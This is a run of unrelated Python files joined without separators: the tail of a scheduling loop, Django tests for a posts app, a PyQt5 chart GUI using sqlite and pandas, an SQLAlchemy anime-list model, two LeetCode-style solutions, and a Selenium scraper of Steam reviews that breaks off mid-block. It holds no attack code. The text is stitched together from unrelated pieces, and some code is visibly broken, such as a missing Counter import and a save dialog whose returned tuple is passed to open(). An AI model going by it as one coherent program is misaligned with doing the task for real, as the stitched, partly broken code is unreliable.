                json.dump(dict1, file)

            if f == 0:
                quit()

            # Waits till 12 hours
            time.sleep(12*3600)

        except Exception as e:
            print(e)
            quit()

    else:
        run = True
        diff = 3600*abs(date_time_obj.hour - datetime.datetime.now().hour)
        if date_time_obj.minute > datetime.datetime.now().minute:
            diff += 60*(date_time_obj.minute - datetime.datetime.now().minute)
        else:
            diff -= 60*(datetime.datetime.now().minute - date_time_obj.minute)

        time.sleep(diff)


import shutil
import tempfile

from django import forms
from django.conf import settings
from django.core.files.uploadedfile import SimpleUploadedFile
from django.test import Client, TestCase, override_settings
from django.urls import reverse

from posts.forms import CommentForm, PostForm
from posts.models import Comment, Group, Post, User

USERNAME = 'author'
GROUP_TITLE = 'Тестовое сообщество'
SLUG = 'test_group'
GROUP_DESCRIPTION = 'Тестовое описание группы'
GROUP_TITLE_2 = 'Тестовое сообщество 2'
SLUG_2 = 'test_group_2'
GROUP_DESCRIPTION_2 = 'Тестовое описание группы 2'
POST_TEXT = 'Тестовая публикация'
POST_TEXT_2 = 'Тестовая публикация 2'
EDITED_TEXT = 'Редактируем текст поста'
COMMENT_TEXT_1 = 'Это комментарий 1'
COMMENT_TEXT_2 = 'А это ещё комментарий'
INDEX_URL = reverse('index')
NEW_POST_URL = reverse('new_post')
LOGIN_URL = reverse('login')
LOGIN_NEW_POST_URL = f'{LOGIN_URL}?next={NEW_POST_URL}'
IMAGE_CONTENT = (
    b'\x47\x49\x46\x38\x39\x61\x02\x00'
    b'\x01\x00\x80\x00\x00\x00\x00\x00'
    b'\xFF\xFF\xFF\x21\xF9\x04\x00\x00'
    b'\x00\x00\x00\x2C\x00\x00\x00\x00'
    b'\x02\x00\x01\x00\x00\x02\x02\x0C'
    b'\x0A\x00\x3B'
)
IMAGE_NAME = 'image.gif'
IMAGE_NAME_2 = 'image2.gif'
IMAGE = SimpleUploadedFile(
    name=IMAGE_NAME,
    content=IMAGE_CONTENT,
    content_type='image/gif'
)
IMAGE_2 = SimpleUploadedFile(
    name=IMAGE_NAME_2,
    content=IMAGE_CONTENT,
    content_type='image/gif'
)
TEMP_MEDIA_ROOT = tempfile.mkdtemp(dir=settings.BASE_DIR)

@override_settings(MEDIA_ROOT=TEMP_MEDIA_ROOT)
class PostFormTests(TestCase):
    @classmethod
    def setUpClass(cls):
        super().setUpClass()
        cls.form = PostForm()
        cls.author = User.objects.create_user(USERNAME)
        cls.group = Group.objects.create(
            title=GROUP_TITLE,
            slug=SLUG,
            description=GROUP_DESCRIPTION
        )
        cls.group_2 = Group.objects.create(
            title=GROUP_TITLE_2,
            slug=SLUG_2,
            description=GROUP_DESCRIPTION_2
        )
        cls.post = Post.objects.create(
            text=POST_TEXT,
            author=cls.author,
            group=cls.group,
        )
        cls.POST_URL = reverse('post', args=[
            PostFormTests.author, PostFormTests.post.id
        ])
        cls.POST_EDIT_URL = reverse('post_edit', args=[
            PostFormTests.author, PostFormTests.post.id
        ])
        cls.LOGIN_POST_EDIT_URL = f'{LOGIN_URL}?next={cls.POST_EDIT_URL}'
        cls.guest_client = Client()
        cls.author_authorized_client = Client()
        cls.author_authorized_client.force_login(cls.author)

    @classmethod
    def tearDownClass(cls):
        shutil.rmtree(settings.MEDIA_ROOT, ignore_errors=True)
        super().tearDownClass()

    def test_create_post(self):
        """Валидная форма поста создает запись в базе данных."""
        posts_id = tuple(Post.objects.all().values_list('id', flat=True))
        posts_count = len(posts_id)
        form_data = {
            'text': POST_TEXT_2,
            'group': self.group.id,
            'image': IMAGE,
        }
        response = self.author_authorized_client.post(
            NEW_POST_URL,
            data=form_data,
            follow=True
        )
        page = response.context['page']
        for i in range(len(page)):
            if page[i].id not in posts_id:
                new_post = page[i]
        self.assertRedirects(response, INDEX_URL)
        self.assertEqual(
            len(page), posts_count + 1)
        self.assertEqual(new_post.text, form_data['text'])
        self.assertEqual(new_post.group.id, form_data['group'])
        self.assertEqual(new_post.author, self.author)
        self.assertEqual(
            new_post.image,
            f"{settings.UPLOAD_FOLDER}{form_data['image'].name}"
        )

    def test_edit_post(self):
        """При редактировании поста изменяется соответствующая запись"""
        post_count = Post.objects.count()
        form_edit_data = {
            'text': EDITED_TEXT,
            'group': self.group_2.id,
            'image': IMAGE_2,
        }
        response = self.author_authorized_client.post(
            self.POST_EDIT_URL, data=form_edit_data, follow=True
        )
        self.assertEqual(Post.objects.count(), post_count)
        updadted_post = response.context['post']
        self.assertEqual(
            updadted_post.text,
            form_edit_data['text']
        )
        self.assertEqual(
            updadted_post.group.id,
            form_edit_data['group']
        )
        self.assertEqual(
            updadted_post.author,
            self.post.author
        )
        self.assertEqual(
            updadted_post.image,
            f"{settings.UPLOAD_FOLDER}{form_edit_data['image'].name}"
        )

    def test_guest_cant_create_post(self):
        """Гость не может создать пост"""
        posts_count = Post.objects.count()
        form_data = {
            'text': POST_TEXT_2,
        }
        response = self.guest_client.post(
            NEW_POST_URL,
            data=form_data,
            follow=True
        )
        self.assertFalse(
            Post.objects.filter(text=POST_TEXT_2).exists()
        )
        self.assertRedirects(
            response,
            LOGIN_NEW_POST_URL
        )
        self.assertEqual(
            Post.objects.count(), posts_count)

    def test_guest_cant_edit_post(self):
        """Гость не может редактировать пост"""
        form_edit_data = {
            'text': EDITED_TEXT,
        }
        response = self.guest_client.post(
            self.POST_EDIT_URL, data=form_edit_data, follow=True
        )
        self.assertFalse(
            Post.objects.filter(text=EDITED_TEXT).exists()
        )
        self.assertRedirects(
            response,
            self.LOGIN_POST_EDIT_URL
        )

    def test_new_post_shows_correct_context(self):
        """Шаблон new сформирован с правильным контекстом."""
        urls = [NEW_POST_URL, self.POST_EDIT_URL]
        form_fields = {
            'text': forms.CharField,
            'group': forms.ChoiceField,
        }
        for url in urls:
            with self.subTest(url=url):
                response = self.author_authorized_client.get(url)
                for value, expected in form_fields.items():
                    with self.subTest(value=value):
                        form_field = response.context['form'].fields[value]
                        self.assertIsInstance(form_field, expected)

class CommentFormTests(TestCase):
    @classmethod
    def setUpClass(cls):
        super().setUpClass()
        cls.form = CommentForm()
        cls.author = User.objects.create_user(USERNAME)
        cls.post = Post.objects.create(
            text=POST_TEXT,
            author=cls.author,
        )
        cls.comment = Comment.objects.create(
            text=COMMENT_TEXT_1,
            author=cls.author,
            post=cls.post,
        )
        cls.POST_URL = reverse('post', args=[
            CommentFormTests.author, CommentFormTests.post.id
        ])
        cls.ADD_COMMENT_URL = reverse('add_comment', args=[
            CommentFormTests.author, CommentFormTests.post.id
        ])
        cls.LOGIN_COMMENT_URL = f'{LOGIN_URL}?next={cls.ADD_COMMENT_URL}'
        cls.guest_client = Client()
        cls.author_authorized_client = Client()
        cls.author_authorized_client.force_login(cls.author)

    def test_create_comment(self):
        """Валидная форма комментария создает запись в базе данных."""
        comments_id = tuple(Comment.objects.all().values_list('id', flat=True))
        comments_count = len(comments_id)
        form_data = {
            'text': COMMENT_TEXT_2,
            'post': self.post.id,
        }
        response = self.author_authorized_client.post(
            self.ADD_COMMENT_URL,
            data=form_data,
            follow=True
        )
        self.assertRedirects(response, self.POST_URL)
        comments = response.context['comments']
        for i in range(len(comments)):
            if comments[i].id not in comments_id:
                new_comment = comments[i]
        self.assertEqual(
            len(comments), comments_count + 1)
        self.assertEqual(new_comment.text, form_data['text'])
        self.assertEqual(new_comment.author, self.author)
        self.assertEqual(new_comment.post, self.post)

    def test_comment_shows_correct_context(self):
        """Шаблон comment сформирован с правильным контекстом."""
        form_fields = {
            'text': forms.CharField,
        }
        response = self.author_authorized_client.get(self.POST_URL)
        for value, expected in form_fields.items():
            with self.subTest(value=value):
                form_field = response.context['form'].fields[value]
                self.assertIsInstance(form_field, expected)

    def test_guest_cant_comment(self):
        """Гость не может комментировать"""
        form_data = {
            'text': COMMENT_TEXT_2,
            'post': self.post.id,
        }
        response = self.guest_client.post(
            self.ADD_COMMENT_URL,
            data=form_data,
            follow=True
        )
        self.assertFalse(
            Comment.objects.filter(
                post=self.post.id,
                text=COMMENT_TEXT_2
            ).exists()
        )
        self.assertRedirects(
            response,
            self.LOGIN_COMMENT_URL
        )


import hashlib
import sqlite3
import sys
from PyQt5 import QtCore, QtWidgets, Qt
from PyQt5.QtWidgets import QFileDialog
import pandas as pd
from define_cat import data
from plotcanvas import PlotCanvas
from listwid import TableWidgetDragRows
from matplotlib.lines import Line2D
from matplotlib.patches import Rectangle
from matplotlib.text import Text
import numpy as np

class Ui_MainWindow(QtWidgets.QMainWindow,data):
    def __init__(self,parent=None):
        super(Ui_MainWindow,self).__init__(parent=parent)
        self.setupUi(self)
# Gui
    def setupUi(self, graph):
        graph.setObjectName("graph")
        graph.resize(985, 693)
        self.centralwidget = QtWidgets.QWidget(graph)
        self.gridLayout = QtWidgets.QGridLayout(self.centralwidget)
        self.label_3 = QtWidgets.QLabel(self.centralwidget)
        self.gridLayout.addWidget(self.label_3, 0, 0, 1, 1)
        self.label = QtWidgets.QLabel(self.centralwidget)
        self.gridLayout.addWidget(self.label, 1, 0, 1, 1)
        self.win = PlotCanvas(self.centralwidget)
        self.gridLayout.addWidget(self.win, 3, 0, 4, 3)
        self.gridLayout.addWidget(self.win.scroll, 6,0,6,3)
        self.gridLayout.addWidget(self.win.scroll2, 3,0,4,3)
        self.gui_winlist()
        self.gui_filter()
        self.gui_graphtree()
        self.gui_tab(graph)
        self.gui_slotsig(graph)

    def gui_winlist(self):
        self.win.mpl_connect('pick_event', self.onpick1)
        self.listcol = QtWidgets.QLineEdit(self.centralwidget)
        self.gridLayout.addWidget(self.listcol, 0, 1, 1, 2)
        self.listrows = QtWidgets.QLineEdit(self.centralwidget)
        self.gridLayout.addWidget(self.listrows, 1, 1, 1, 2)

    def gui_filter(self):
        self.hafe = QtWidgets.QHBoxLayout(self.centralwidget)
        self.filterlist2 = QtWidgets.QLineEdit(self.centralwidget)
        self.hafe.addWidget(self.filterlist2)
        self.gridLayout.addItem(self.hafe, 2, 1, 1, 2)
        self.tag_list = QtWidgets.QHBoxLayout(self.centralwidget)
        self.gridLayout.addItem(self.tag_list,0,3,6,3)
        self.tree_filter = QtWidgets.QTreeWidget(self.centralwidget)
        self.tree_filter.setHeaderLabel('FILTER')
        self.tree_filter.setFixedSize(300, 900)
        self.tag_list.addWidget(self.tree_filter)
        self.verticalLayout = QtWidgets.QVBoxLayout(self.centralwidget)
        self.tag_list.addItem(self.verticalLayout)

    def gui_graphtree(self):
        self.getgraph_b()
        self.verticalLayout2 = QtWidgets.QVBoxLayout(self.centralwidget)
        self.verticalLayout.addItem(self.verticalLayout2)
        self.getlist()
        self.treestyle()

    def gui_tab(self,graph):
        graph.setCentralWidget(self.centralwidget)
        self.menubar = QtWidgets.QMenuBar(graph)
        self.menubar.setGeometry(QtCore.QRect(0, 0, 985, 31))
        self.menuFile = QtWidgets.QMenu(self.menubar)
        graph.setMenuBar(self.menubar)
        self.actionOpen = QtWidgets.QAction(graph)
        self.menuFile.addAction(self.actionOpen)
        self.menubar.addAction(self.menuFile.menuAction())
        self.actionOpen.triggered.connect(self.file_open)
        saveFile = QtWidgets.QAction("&Save File", self)
        saveFile.triggered.connect(self.file_save)
        self.menuFile.addAction(saveFile)
        self.retranslateUi(graph)
        self.creatdateselect()

    def gui_slotsig(self,graph):
        self.listrows.textChanged.connect(self.treestyle)
        self.listcol.textChanged.connect(self.treestyle)
        self.tree_filter.clicked.connect(self.filter)
        self.comboBox3.setVisible(False)
        QtCore.QMetaObject.connectSlotsByName(graph)

    def file_save(self):
        name = QtWidgets.QFileDialog.getSaveFileName(self, 'Save File',"", "xlsx(*.xlsx);;csv(*.csv)")
        file = open(name,'w')
        text = self.textEdit.toPlainText()
        file.write(text)
        file.close()

#edit try to closethen open
    def file_open(self):
        self.deleat_to_repeat(self.cat)
        self.deleat_to_repeat(self.valueslist)
        self.deleat_to_repeat(self.datelist)
        options = QFileDialog.Options()
        options |= QFileDialog.DontUseNativeDialog
        self.fileName,_ = QFileDialog.getOpenFileName(self,"QFileDialog.getOpenFileName()","","xlsx(*.xlsx);;csv(*.csv)",options=options)
        self.oldset = set()
        hasher = hashlib.md5()
        f = open(self.fileName,'rb')
        for chunk in iter (lambda :f.read(4096),b""):
            hasher.update(chunk)
        self.read = hasher.hexdigest()
        try:
            self.check_sum(self.read)
            self.getitemlist()
            self.dataset = pd.read_excel(self.fileName)
        except:
            self.check_non(self.read)
            self.getitemlist()
            self.dataset = pd.read_excel(self.fileName)
#edit

    def varforfilter(self):
        self.x = self.listcol.text()
        self.y = self.listrows.text()
        self.listx = self.x.split(',')
        self.listy = self.y.split(',')
        self.dimentionplotlist = []
        self.valuesplotlist = []
        self.dateplotlist = []
        self.in_key_di = []
        self.in_key_val = []
        self.in_key_date = []
        self.genlist(self.listx)
        self.genlist(self.listy)

    def condition_plot(self):
        self.listfil = {}
        for i in self.in_key_di:
            for a in self.filterlist:
                if self.key[i] == a:
                    self.listfil[i] = self.filterlist[a]

        if len(self.in_key_date) == 1 and len(self.in_key_di) == 0 and len(self.in_key_val) != 0:
            self.condition(self.in_key_date)
        elif len(self.in_key_date) == 1 and len(self.in_key_di) >= 1:
            self.condition(self.in_key_di)
        else:
            self.getdataform = self.getinfo(self.in_key_di,self.in_key_val,self.dataset,self.listfil)
            print(self.getdataform)
            self.tellaxisplot(self.dimentionplotlist)
            self.comboBox3.setVisible(False)

    def condition(self,diordate):
        self.getdataform = self.getinfo(diordate,self.in_key_val,self.dataset,self.listfil)
        self.getdataform = self.fordate(self.getdataform,self.listfil)
        self.tellaxisplot(self.dateplotlist)
        self.comboBox3.setVisible(True)
        self.comboBox3.setCurrentIndex(0)

    def state_con(self):
        #for plot
        if 'y' not in self.findaxis:
            return self.win.plotbar(self.getdataform,self.listx,self.listy)
        if 'x' not in self.findaxis:
            return self.win.plotbary(self.getdataform,self.listy,self.listx)
        if 'x' in self.findaxis and 'y' in self.findaxis:
            print('multitable')
            return self.warning()
        if len(self.dimentionplotlist) == 0 or len(self.valuesplotlist) == 0:
            return  self.warning()
        else:
            return self.warning()

    def find_catagories(self):
        for i in range(len(self.key)):
            if self.key[i] in self.dimentionplotlist:
                self.in_key_di.append(i)
            elif self.key[i] in self.valuesplotlist:
                self.in_key_val.append(i)
            elif self.key[i] in self.dateplotlist:
                self.in_key_date.append(i)

    def filter(self):
        self.filterlist = self.find_checked()
        forloop = self.find_checked()

        for i in forloop:
            if forloop[i] == [] and i in self.x:
                self.connection(self.x,self.listcol,i)
            elif forloop[i] == [] and i in self.y:
                self.connection(self.y,self.listrows,i)
        try:
            self.condition_plot()
            self.state_con()
        except:
            pass

    def connection(self,axis,plaintext,i):
        axisx = axis.split(',')
        deepaxis = axis.split(',')
        for a in range(len(axisx)):
            if deepaxis[a] == i:
                deepaxis.remove(i)
                text = ','.join(deepaxis)
                plaintext.setText(text)
                break

    def tellaxisplot(self,daidate):
        self.findaxis=[]
        for a in daidate:
            if a in self.listx:
               self.findaxis.append('x')
            if a in self.listy:
               self.findaxis.append('y')

    def genlist(self,inaxis):
        for i in inaxis:
            if i in self.catagories:
                self.dimentionplotlist.append(i)
            elif i in self.values:
                self.valuesplotlist.append(i)
            elif i in self.date:
                self.dateplotlist.append(i)
# select false
    def warning(self):
        self.error_dialog = QtWidgets.QErrorMessage()
        self.error_dialog.showMessage('Not acceptable for dimention3')
        self.error_dialog.exec_()

# choose date
    def creatdateselect(self):
        self.comboBox3 = QtWidgets.QComboBox(self.centralwidget)
        self.gridLayout.addWidget(self.comboBox3, 2, 0, 1, 1)
        datedata = ['all','years','months','dates']
        self.comboBox3.addItems(datedata)
        self.comboBox3.currentIndexChanged.connect(self.dateagain)

    def dateagain(self):
        try:
            formatdmy = str(self.comboBox3.currentText())
            if formatdmy == 'all' and 'y' not in self.findaxis:
                return self.win.plotbar(self.getdataform,self.listy,self.listx)
            elif formatdmy == 'all' and 'x' not in self.findaxis:
                return self.win.plotbary(self.getdataform,self.listx,self.listy)
            elif  'y' not in self.findaxis:
                self.getdataform2 = self.selectdate(self.getdataform,formatdmy)
                return self.win.plotbar(self.getdataform2,self.listx,self.listy)
            elif 'x' not in self.findaxis:
                self.getdataform2 = self.selectdate(self.getdataform,formatdmy)
                return self.win.plotbary(self.getdataform2,self.listy,self.listx)
        except:
            print('sorry')

    def retranslateUi(self, graph):
         _translate = QtCore.QCoreApplication.translate
         graph.setWindowTitle(_translate("graph", "MainWindow"))
         self.label_3.setText(_translate("graph", "COLUMNS"))
         self.label.setText(_translate("graph", "ROWS"))
         self.menuFile.setTitle(_translate("graph", "file"))
         self.actionOpen.setText(_translate("graph", "open"))

    def check_sum(self,read):
        connection = sqlite3.connect('database.db')
        cur = connection.cursor()
        cur.execute("SELECT * FROM check_sum where md5=?",(read,))
        list_do = []
        for i in cur.fetchone():
            list_do.append(i)
        self.date = list_do[1].split(',')
        self.catagories = list_do[2].split(',')
        self.values = list_do[3].split(',')
        self.key = list_do[4].split(',')
        cur.close()
        connection.close()

    def check_non(self,read):
        connection = sqlite3.connect('database.db')
        cur = connection.cursor()
        self.data = self.getdf(self.fileName)
        self.date = self.data[0]
        self.catagories = self.data[1]
        self.values = self.data[2]
        self.key = list(self.data[3])
        date = ','.join(self.date)
        catagories = ','.join(self.catagories)
        values = ','.join(self.values)
        key = ','.join(self.key)
        cur.execute("insert into check_sum values(?,?,?,?,?)",(read,date,catagories,values,key))
        connection.commit()
        cur.close()
        connection.close()
# choose button
    def getgraph_b(self):
        self.pushButton_4 = QtWidgets.QPushButton(self.centralwidget)
        self.pushButton_4.setText("Pie Chart")
        self.pushButton_4.clicked.connect(self.pie)
        self.verticalLayout.addWidget(self.pushButton_4)
        self.pushButton = QtWidgets.QPushButton(self.centralwidget)
        self.pushButton.setText("Line graph")
        self.pushButton.clicked.connect(self.line)
        self.verticalLayout.addWidget(self.pushButton)
        self.pushButton_2 = QtWidgets.QPushButton(self.centralwidget)
        self.pushButton_2.setText("Bubble")
        self.pushButton_2.clicked.connect(self.Bubbel)
        self.verticalLayout.addWidget(self.pushButton_2)
        self.pushButton_5 = QtWidgets.QPushButton(self.centralwidget)
        self.verticalLayout.addWidget(self.pushButton_5)
        self.pushButton_5.setText("Table")
        self.pushButton_5.clicked.connect(self.table)
        self.pushButton_6 = QtWidgets.QPushButton(self.centralwidget)
        self.verticalLayout.addWidget(self.pushButton_6)
        self.pushButton_6.setText("Bar Graph")
        self.pushButton_6.clicked.connect(self.bar)

    def getitemlist(self):
        self.cat.setFixedSize(470, 189)
        self.setitem(self.cat,self.catagories)
        self.cat.setHorizontalHeaderLabels(['Dimension'])
        self.verticalLayout2.addWidget(self.cat)
        self.valueslist.setFixedSize(470,189 )
        self.setitem(self.valueslist,self.values)
        self.valueslist.setHorizontalHeaderLabels(['Values'])
        self.verticalLayout2.addWidget(self.valueslist)
        self.datelist.setFixedSize(470,189 )
        self.setitem(self.datelist,self.date)
        self.datelist.setHorizontalHeaderLabels(['Date'])
        self.verticalLayout2.addWidget(self.datelist)
        self.addbutcol.setFixedSize(470,50)
        self.verticalLayout2.addWidget(self.addbutcol)
        self.addbutrows.setFixedSize(470,50)
        self.verticalLayout2.addWidget(self.addbutrows)
        self.setvalueforcheck()

# change data in database
    def changedata_cat(self):
        try:
            self.checking(self.catagories,self.itemnow)
            self.itemnow = self.cat.currentItem().text()
        except:
            self.itemnow = self.cat.currentItem().text()
            self.checking(self.catagories,self.itemnow)

    def changedata_val(self):
        try:
            self.checking(self.values,self.itemnow)
            self.itemnow = self.valueslist.currentItem().text()
        except:
            self.itemnow = self.valueslist.currentItem().text()
            self.checking(self.values,self.itemnow)

    def changedata_date(self):
        try:
            self.checking(self.date,self.itemnow)
            self.itemnow = self.datelist.currentItem().text()
        except:
            self.itemnow = self.datelist.currentItem().text()
            self.checking(self.date,self.itemnow)

    def checking(self,typechange,item):
        a = self.cat.rowCount()
        b = self.valueslist.rowCount()
        c = self.datelist.rowCount()
        if self.forcheck != [a,b,c]:
            typechange.remove(item)
            if self.forcheck[0] < a:
                self.catagories.append(item)
            if self.forcheck[1] < b:
                self.values.append(item)
            if self.forcheck[2] < c:
                self.date.append(item)
            self.setvalueforcheck()
            self.newinform()
# update data in database

    def newinform(self):
        dai = ','.join(self.catagories)
        val = ','.join(self.values)
        day = ','.join(self.date)
        key = ','.join(self.key)
        connection = sqlite3.connect('database.db')
        cur = connection.cursor()
        read = self.read
        cur.execute("DELETE FROM check_sum WHERE md5 = ? ",(read,))
        cur.execute("insert into check_sum values(?,?,?,?,?)",(read,day,dai,val,key))
        connection.commit()
        cur.close()
        connection.close()

    def setvalueforcheck(self):
        a = len(self.catagories)
        b = len(self.values)
        c = len(self.date)
        self.forcheck = [a,b,c]

    def addplaincol(self):
        if self.listcol.text() == '':
            self.x = list()
            self.x.append(self.itemnow)
            text = ','.join(self.x)
            self.listcol.setText(text)
        else:
            a = self.listcol.text()
            a = a.split(',')
            self.x = a
            self.x.append(self.itemnow)
            text = ','.join(self.x)
            self.listcol.setText(text)

    def addplainrow(self):
        if self.listrows.text() == '':
            self.y=list()
            self.y.append(self.itemnow)
            text = ','.join(self.y)
            self.listrows.setText(text)
        else:
            a = self.listrows.text()
            a = a.split(',')
            self.y = a
            self.y.append(self.itemnow)
            text = ','.join(self.y)
            self.listrows.setText(text)

    def getlist(self):
        self.cat = TableWidgetDragRows(self.centralwidget)
        self.verticalLayout2.addWidget(self.cat)
        self.valueslist = TableWidgetDragRows(self.centralwidget)
        self.verticalLayout2.addWidget(self.valueslist)
        self.datelist = TableWidgetDragRows(self.centralwidget)
        self.verticalLayout2.addWidget(self.datelist)
        self.addbutcol = QtWidgets.QPushButton(self.centralwidget)
        self.addbutcol.setText('Add To Colums')
        self.verticalLayout2.addWidget(self.addbutcol)
        self.addbutrows = QtWidgets.QPushButton(self.centralwidget)
        self.addbutrows.setText('Add To Rows')
        self.verticalLayout2.addWidget(self.addbutrows)
        self.cat.currentItemChanged.connect(self.changedata_cat)
        self.valueslist.currentItemChanged.connect(self.changedata_val)
        self.datelist.currentItemChanged.connect(self.changedata_date)
        self.addbutcol.clicked.connect(self.addplaincol)
        self.addbutrows.clicked.connect(self.addplainrow)

    def clearlist(self):
        pass

    def setitem(self,typelistwid,typeitemwid):
        typelistwid.setColumnCount(1)
        filled_widget = typelistwid
        for i, itemone in enumerate(typeitemwid):
            c = QtWidgets.QTableWidgetItem(itemone)
            filled_widget.insertRow(filled_widget.rowCount())
            filled_widget.setItem(i,0,c)
        header = typelistwid.horizontalHeader()
        header.setSectionResizeMode(0, QtWidgets.QHeaderView.Stretch)

# plot graph
    def bar(self):
        if str(self.comboBox3.currentText()) != 'all':
            self.win.plotbar(self.getdataform2,self.in_key_di,self.in_key_val)
        else:
            self.win.plotbar(self.getdataform,self.in_key_di,self.in_key_val)
    def pie(self):
        if str(self.comboBox3.currentText()) != 'all':
            self.win.plot_pie(self.getdataform2)
        else:
            self.win.plot_pie(self.getdataform)
    def Bubbel(self):
        if str(self.comboBox3.currentText()) != 'all':
            self.win.plot_bubble(self.getdataform2)
        else:
            self.win.plot_bubble(self.getdataform)
    def line(self):
        if str(self.comboBox3.currentText()) != 'all':
            self.win.plot_line(self.getdataform2,self.in_key_di,self.in_key_val)
        else:
            self.win.plot_line(self.getdataform,self.in_key_di,self.in_key_val)
    def table(self):
        if str(self.comboBox3.currentText()) != 'all':
            self.win.table(self.getdataform2,self.in_key_di,self.in_key_val)
        else:
            self.win.table(self.getdataform,self.in_key_di,self.in_key_val)
# check label
    def onpick1(self,event):
        if isinstance(event.artist, Line2D):
            thisline = event.artist
            xdata = thisline.get_xdata()
            ydata = thisline.get_ydata()
            ind = event.ind
            print('onpick1 line:', zip(np.take(xdata, ind), np.take(ydata, ind)))
        elif isinstance(event.artist, Rectangle):
            patch = event.artist
            print('onpick1 patch:', patch.get_path())
        elif isinstance(event.artist, Text):
            text = event.artist
            print('onpick1 text:', text.get_text())
            self.filterlist2.setText(text.get_text())

    def treestyle(self):
        try:
            self.varforfilter()
            self.find_catagories()
            if self.in_key_di == []:
                self.tree_filter.clear()
                self.oldset = set()
            if len(self.in_key_date) != 0:
                self.in_key_di.append(self.in_key_date[0])
            if self.oldset == []:
                for i in self.in_key_di:
                    self.getchildinroot(i)
            else:
                copydeep = set(self.in_key_di)
                b = self.oldset.intersection(copydeep)
                fortree = copydeep - b
                if len(fortree) != 0:
                    for i in fortree:
                        self.getchildinroot(i)
                elif len(fortree) == 0:
                    for i in self.oldset-copydeep:
                        root = self.tree_filter.invisibleRootItem()
                        signal_count = root.childCount()
                        for a in range(signal_count):
                            signal = root.child(a)
                            if signal.text(0) == self.key[i]:
                                root.removeChild(signal)
                                self.oldset.remove(i)

            if len(self.in_key_di) >= 1:
                self.filter()
        except:
            pass

    def getchildinroot(self,i):
        data = self.dataset[self.key[i]]
        inform = data.tolist()
        notper = set(inform)
        parent = QtWidgets.QTreeWidgetItem(self.tree_filter)
        parent.setText(0, "{}".format(self.key[i]))
        parent.setFlags(parent.flags() |QtCore.Qt.ItemIsAutoTristate | QtCore.Qt.ItemIsUserCheckable)
        self.oldfilter(notper,parent)
        self.oldset.add(i)

    def oldfilter(self,notper,parent):
        for a in notper:
                    child = QtWidgets.QTreeWidgetItem(parent)
                    child.setFlags(child.flags() | QtCore.Qt.ItemIsUserCheckable)
                    child.setText(0, "{}".format(a))
                    child.setCheckState(0, QtCore.Qt.Checked)

    def find_checked(self):
        checked = dict()
        root = self.tree_filter.invisibleRootItem()
        signal_count = root.childCount()

        for i in range(signal_count):
            signal = root.child(i)
            checked_sweeps = list()
            num_children = signal.childCount()
            self.unchecked = list()
            for n in range(num_children):
                child = signal.child(n)
                if child.checkState(0) == QtCore.Qt.Checked:
                    checked_sweeps.append(child.text(0))
            self.incheck_remove(signal,root)

            checked[signal.text(0)] = checked_sweeps
        return checked

    def incheck_remove(self,signal,root):
        if signal.checkState(0) == QtCore.Qt.Unchecked:
                root.removeChild(signal)
                a = [i for i,x in enumerate(self.key) if x == signal.text(0)]
                self.in_key_di.remove(a[0])
                text = []
                if signal.text(0) in self.listcol.text():
                    for i in self.in_key_di:
                        text.append(self.key[i])
                    text = (',').join(text)
                    self.listcol.setText(text)
                elif signal.text(0) in self.listrows.text():
                    for i in self.in_key_di:
                        text.append(self.key[i])
                    text = (',').join(text)
                    self.listrows.setText(text)

                self.oldset.remove(a[0])

    def deleat_to_repeat(self,listdel):
        self.listrows.clear()
        self.listcol.clear()
        listdel.reset()
        while (listdel.rowCount() >= 1):
            listdel.model().removeRow(0)

if __name__ == "__main__":
    app = QtWidgets.QApplication(sys.argv)
    MainWindow = QtWidgets.QMainWindow()
    ui = Ui_MainWindow()
    ui.setupUi(MainWindow)
    MainWindow.show()
    sys.exit(app.exec_())


from .db import db, environment, SCHEMA, add_prefix_for_prod
from datetime import datetime
from .user import User
from .anime import Anime

anime_list = db.Table(
    'anime_list',
    db.Model.metadata,
    # db.Column('id', db.Integer, primary_key=True),
    db.Column('anime_id', db.Integer, db.ForeignKey(
        add_prefix_for_prod('animes.id')), primary_key=True),
    db.Column('list_id', db.Integer, db.ForeignKey(
        add_prefix_for_prod('lists.id')), primary_key=True)
)

if environment == "production":
    anime_list.schema = SCHEMA

class List(db.Model):
    __tablename__ = 'lists'

    if environment == "production":
        __table_args__ = {'schema': SCHEMA}

    id = db.Column(db.Integer, primary_key=True, unique=True)
    owner_id = db.Column(db.Integer, db.ForeignKey(
        add_prefix_for_prod('users.id')), nullable=False)
    name = db.Column(db.String(50), nullable=False)
    private = db.Column(db.Boolean, default=False)
    created_at = db.Column(db.DateTime, default=datetime.now)
    updated_at = db.Column(
        db.DateTime, default=datetime.now, onupdate=datetime.now)

    animes = db.relationship(
        "Anime", secondary=anime_list, back_populates="lists"
    )

    users = db.relationship("User", back_populates="lists")

    @property
    def _name(self):
        return self.name

    @_name.setter
    def _name(self, name):
        self.name = name

    def to_dict(self):
        return {
            'id': self.id,
            'owner_id': self.owner_id,
            'name': self.name,
            'private': self.private,
            'anime': [anime.to_dict() for anime in self.animes],
            'created_at': self.created_at,
            'updated_at': self.updated_at,
        }


import collections
from typing import List

class Solution:
    def canJump(self, nums: List[int]) -> bool:
        n, right_most = len(nums), 0
        for i in range(n):
            if i <= right_most:
                right_most = i + nums[i]
                if right_most >= n - 1:
                    return True
        return False

if __name__ == '__main__':
    nums = [3, 2, 1, 0, 4]
    test = Solution()
    print(test.canJump(nums))


class Solution:
    def wonderfulSubstrings(self, word: str) -> int:
        prefix = 0
        seen = Counter() # bitmask: count
        seen[0] = 1
        res = 0
        for ch in word:
            bit = 1<<(ord(ch)-ord("a"))
            prefix ^= bit

            # 0 odd character substr
            res += seen[prefix]

            # iterate a-j and check if there is at most 1 a-j in substr
            for i in range(10):
                premask = prefix^(1<<i)
                res += seen[prefix^(1<<i)]

            seen[prefix] += 1
        return res

PrefixSum/1915. Number of Wonderful Substrings/solution.py


from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from bs4 import BeautifulSoup
from textblob import TextBlob
from gensim import corpora, models
import string
import csv
import time

def get_reviews(url):
    driver = webdriver.Chrome()
    driver.get(url)
    time.sleep(5)  # 페이지 로딩을 기다립니다.

    try:
        # JavaScript를 사용하여 페이지를 스크롤합니다.
        for _ in range(30):  # 스크롤 횟수는 조절이 필요할 수 있습니다.
            driver.execute_script("window.scrollTo(0, document.body.scrollHeight);")
            time.sleep(2)  # 로드를 기다립니다.

        html = driver.page_source
        soup = BeautifulSoup(html, 'html.parser')

        review_elements = soup.find_all('div', class_='apphub_UserReviewCardContent')
        reviews = [element.find('div', class_='apphub_CardTextContent').get_text(strip=True) for element in review_elements]

    finally:
